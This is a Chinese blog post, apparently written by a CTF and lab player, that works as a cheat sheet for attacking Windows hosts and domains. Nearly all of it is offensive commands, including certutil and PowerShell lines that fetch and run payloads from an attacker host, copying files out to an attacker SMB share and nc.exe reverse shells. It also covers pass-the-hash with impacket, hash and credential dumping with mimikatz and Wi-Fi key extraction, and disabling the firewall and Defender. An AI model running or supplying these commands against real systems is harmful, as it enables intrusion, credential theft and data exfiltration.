这篇文章发表于 1545 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
拿下一台Windows的速度个人感觉比拿下一台Linux要快的多,这主要归功于像metasploit和cobaltstrike这样的渗透框架。当然也可能是因为渗透Windows主要的难点在于较大而复杂的内网环境,而目前攻击的目标主要是单个脆弱的靶机。
对于Windows渗透,有很多已经成熟的脚本软件,这些都需要去熟悉,这也导致本文看起来有点像说明书却又只能介绍冰山一角。而很多工具已经能够完成不止一个阶段的任务,细分起来也挺烦人的。个人觉得这篇文章的排版远不及对Linux渗透的排版,部分操作也没有注明出处。实在抱歉,将就着看吧。
文件传输
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| python3 -m http.server //hacker powershell (New-Object Net.Webclient).DownloadFile({hacker.url},{victim.url}) //victim powershell IWR -uri {hacker.url} -Outfile {file_path} //victim powershell IEX(New-Object Net.Webclient).downloadString({hacker.url}) //victim,适合直接执行powershell脚本 certutil -urlcache -split -f http://hacker.url/malicious.exe %temp%/malicious.exe && %temp%/malicious.exe //victim,后面相当于再接上一条命令
smbserver.py trans `pwd` //这里的python脚本属于impacket中的example,trans是指定的文件夹名,多数情况需要认证或是smb2support copy \\hacker_url\trans\malicious.exe . //这个是把文件传过去 copy secret.zip \\hacker_url\trans\ //这个是将文件传至本地
wget -r --no-passive ftp://{victim_ip}:{victim_port}/* --ftp-user=anonymous --ftp-password=xxx
$pass = "sam" | ConvertTo-SecureString -AsPlainText -Force $cred = New-Object System.Management.Automation.PsCredential('sam',$pass) New-PSDrive -name sam -root \\{hacker_ip}\trans -Credential $cred -PSProvider "filesystem"
net use x: \\{hacker_ip}\trans "sam" /user:"sam" net use x: /delete //删除共享
|
另外,以下脚本能够直接在攻击机上开启一个HTTP PUT SERVER
,然后就能够接收文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import argparse import http.server import os
class HTTPRequestHandler(http.server.SimpleHTTPRequestHandler): def do_PUT(self): path = self.translate_path(self.path) if path.endswith('/'): self.send_response(405, "Method Not Allowed") self.wfile.write("PUT not allowed on a directory\n".encode()) return else: try: os.makedirs(os.path.dirname(path)) except FileExistsError: pass length = int(self.headers['Content-Length']) with open(path, 'wb') as f: f.write(self.rfile.read(length)) self.send_response(201, "Created")
if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--bind', '-b', default='0.0.0.0', metavar='ADDRESS', help='Specify alternate bind address ' '[default: all interfaces]') parser.add_argument('port', action='store', default=8000, type=int, nargs='?', help='Specify alternate port [default: 8000]') args = parser.parse_args()
http.server.test(HandlerClass=HTTPRequestHandler, port=args.port, bind=args.bind)
|
Impacket脚本使用
impacket,横向移动的利器。
一些版本上面的python脚本可能功能存在着一定的差异,一些时候可能可以getshell但一些时候不行,就比如最新版本的psexec
和以前版本的,具体差异可以观察源码。
1 2 3 4 5 6 7 8 9 10 11
| 在获取了相关账号密码或是hash后,可以尝试使用如下方法获取命令交互。 psexec.py -dc-ip {victim_ip} -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator //这个NTML hash就不打码了,见到差不多特征的字符串记得警觉 psexec.py victim@{victim_ip} //这个会在之后输入密码 其余atexec,wmiexec等等脚本命令差不多,无非是实现原理不同
goldenPac.py -dc-ip {victim_ip} -target-ip {victim_ip} htb.local/administrator@{victim_domain}
GetNPUsers.py {domain}/{username} -request -no-pass -dc-ip {victim_ip} -format john //将数据以john的格式输出,便于之后破解 GetUserSPNs.py -request {domain}/{username}:{password} GetADUsers.py -all {domain}/{username}:{password} -dc-ip {victim_ip} secretsdump.py htb.local/{username}@{victim_ip}
|
针对域环境信息收集的工具使用
这个常用的有smbmap
,smbclient
,rpcclient
,ldapsearch
,crackmapexec
这些工具。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| smbmap -H {victim_ip} //扫出相关文件夹 smbmap -H {victim_ip} -R {dir} //扫出文件夹中文件
cme smb {victim_ip} --pass-pol cme smb {victim_ip} -u {user/userlist} -p {passwd/passlist} cme winrm {victim_ip} -u {user/userlist} -p {passwd/passlist}
ldapsearch -x -h {dc_ip} ldapsearch -x -h {dc_ip} -s base ldapsearch -x -h {dc_ip} -s sub -b {"DC=example,DC=local"} '(objectClass=User)' samaccountname | grep -i samaccountname | awk -F: '{print($2)}' > users.ldap
rpcclient -U '' {victim_ip}
smbclient //{victim_ip}/{dir} //对敏感文件进行下载 smbclient -U {username}%{password} \\\\{domain}\\{dir} //登录
>mask "" >recurse ON >prompt OFF >mget *
|
BloodHound使用
伟大的工具!
1 2 3 4 5 6 7 8 9
| neo4j console bloodhound --no-sandbox
PS > IEX(New-Object Net.Webclient).downloadString('http://hacker_url/SharpHound.ps1') //victim PS > Invoke-Bloodhound //victim,运行完毕后本目录会出现zip文件
bloodhound-python -d {victim_domain} -u {username} -p {password} -c all -ns {victim_ip}
|
kerbrute使用
就是一个对用户进行爆破的工具,更多信息参见三好学生的文章。
1
| ./kerbrute_linux_amd64 userenum {userlist} -d {domain} --dc {dc_ip}
|
Responder使用
作为窃取内网中认证信息的listener,需要其他漏洞的配合。
1 2
| python Responder.py -I <Interface_card_name> //hacker 在victim上需要进行对hacker的访问。
|
nc.exe使用
这个再熟悉不过了。
1 2
| nc.exe {hacker_ip} {hacker_port} -e cmd.exe //reverse shell nc.exe -l -p {victim_port} -e cmd.exe //bind shell
|
Neo-reGeorg使用
这个原版是reGeorg
,国人进行了改进,主要是增加了密码保护的功能。在防火墙过滤严格并且存在网站的主机上使用效果不错。
1 2
| python3 neoreg.py generate -k {password} //生成各种语言网页文件,找到合适的上传即可,如果是PHP文件,需要小心网页的设置,可能存在禁用某些函数的情况 python3 neoreg.py -u {tunnel_file in web_url} -k {password} -p {port} //配置proxychains即可完成通向内网之路
|
框架使用
metasploit简称msf,cobaltstrike简称cs。这部分主要是本人目前觉得常用并且值得写出来的操作。
msf使用tips
其实这部分主要是关于meterpreter的操作。
1 2 3 4 5 6 7 8 9 10 11
| meterpreter > run post/multi/recon/local_exploit_suggester //本地提权查询
meterpreter > run post/windows/gather/hashdump //hash抓取,SYSTEM权限 meterpreter > load kiwi //加载mimikatz,SYSTEM权限 meterpreter > lsa_dump_sam //hash抓取,SYSTEM权限
meterpreter > load powershell //加载powershell,如果victim上不存在powershell环境就会报错 meterpreter > powershell_shell //这里运行的powershell有一点比较坑,就是退出未必会die,之后使用powershell可能会失效
meterpreter > load incognito //加载incognito,该模块主要用于impersonate用户 meterpreter> list_tokens -u //搜索可impersonate的用户,结合impersonate_token完成攻击,记得将\转义
|
meterpreter的使用攻略推荐 https://xz.aliyun.com/t/2536 。
cs使用tips
1 2 3 4 5 6 7 8
| 和BloodHound联动,顺带部分其他技巧 beacon> powershell-import //你将选择一个ps1文件进行加载 beacon> cd C:\users\{username}\desktop beacon> pwd beacon> powershell Get-BloodHoundData | Export-BloodHoundCSV beacon> jobs beacon> net computers beacon> net localgroup \\FILESERVER administrators
|
除了cobaltstrike作者本人的官网,这人的博客也还不错 http://blog.leanote.com/cate/snowming/Cobalt-Strike 。
两大渗透框架的shell互传
假设两者(meterpreter和beacon)用的都是http。
1、将msf的sessions传递到cs上。
1 2
| use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http
|
2、将cs的sessions传递到msf上。
在cs中使用Foreign HTTP
的listener,然后msf准备好监听。
1 2
| use exploit/multi/handler set payload windows/meterpreter/reverse_http
|
spawn即可。
这方面比较给力的博客推荐 https://payloads.cn/ 。
杂七杂八
虽说是杂七杂八,其实这些东西实用性比较高。
关闭防火墙
1 2 3
| PS> netsh advfirewall set allprofiles state off 或者 PS> Set-MpPreference -DisableRealtimeMonitoring $true
|
利用powershell登录
在获取到其他用户的凭证后,可直接尝试利用powershell登录其他用户。
1 2 3 4 5 6 7
| $SecurePwd = ConvertTo-SecureString "{passwd}" -AsPlainText -Force 当然,如果是密钥文件的话可采取如下方式, $SecurePwd = gc admin-pass.xml | convertto-securestring
$cred = new-object system.management.automation.PSCredential {"hostname\\username"},$SecurePwd $cred.getnetworkcredential() | fl * //碰运气的命令 Invoke-Command -computername {computer_name} -ScriptBlock { whoami } -credential $cred (-Authentication CredSSP)
|
藏匿于ADS中的文件
有些flag藏在ADS (Alternate Data Stream)
中,需要简单的操作。
1 2 3 4 5 6 7 8 9
| dir -a //这个是发现隐藏文件的,但对于ADS无效 dir /r
//以下两条可作为简单尝试 get-item hide.txt -Stream * powershell (Get-Content hide.txt -Stream flag.txt)
streams -s -accepteula . //运行Streams.exe(Windows Sysinternals)前的指令 streams *
|
这个技巧藏payload是个不错的方法,见三好学生的某文章。
远程桌面RDP
1 2 3 4 5 6 7 8
| desktop -g 1020x750 {victim_ip} //这个是Linux的方法 一般是先在msf中使用post/windows/manage/enable_rdp模块强行打开victim的RDP服务和相关端口,这意味着所需权限比较大。 注意在登录的时候用户名的填写,最好能够指定域名,像如下这样: .\[username] HTB.LOCAL\[username] htb.local\[username] 另外,创建用户的时候记得密码强度够大(像 Password123! 这样的才行),不然会一直报错…… 远程桌面比较容易让人发觉hhh
|
整蛊
嗯,不愧是我。这也是一门优雅的技术活,何为“优雅”?不导致对方电脑损坏并且对方本人不会觉得特别烦(个人觉得用代码画幅画都比死循环或者无限弹窗要高明。。
一些在meterpreter中的有趣模块未必有用,这里给出一些手段。
1 2 3
| C:\Program Files\internet explorer\iexplore.exe -k https://fakeupdate.net/win10ue //这个是在win+R产生的弹窗上面运行的命令 "C:\Program Files\internet explorer\iexplore.exe" -k https://fakeupdate.net/win10ue //这个是可以直接在cmd中使用的命令 //最好能将壁纸直接下载下来传到那个victim电脑上,这样即便网络受限也没关系了
|
1 2 3 4
| takeown /f C:\Windows\System32\zh-CN /a /r /d y cacls C:\Windows\System32\zh-CN\* /T /E /G administrator:F
|
本地存储的一些密码
直接上个bat脚本。
1 2 3 4 5
| for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
cmdkey /list
|
搜寻特定文件/字串
1 2 3 4 5
| for /r c:\ %i in (flag.txt) do echo %i //搜索特定文件 strings abc.exe | grep PWD //搜索文件中可能的敏感字串 dir *.exe /b/s | findstr bash //寻找某文件夹子目录中文件名含bash的文件
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb //在Linux上搜索nmap的script某命令
|
环境检测
1 2 3
| [environment]::Is64BitOperatingSystem [environment]::Is64BitProcess
|
EFS文件解密
1 2 3 4 5 6 7 8 9 10 11 12
| icacls * icacls {flag.txt} /grant {username}:(R,WDAC)
cipher //该命令会显示所有文件的U(unencrypted),E(encrypted)状态 cipher /c *
|
UCASZ
人生匆忙,文章仓皇。内容如有问题请及时指正,谢谢。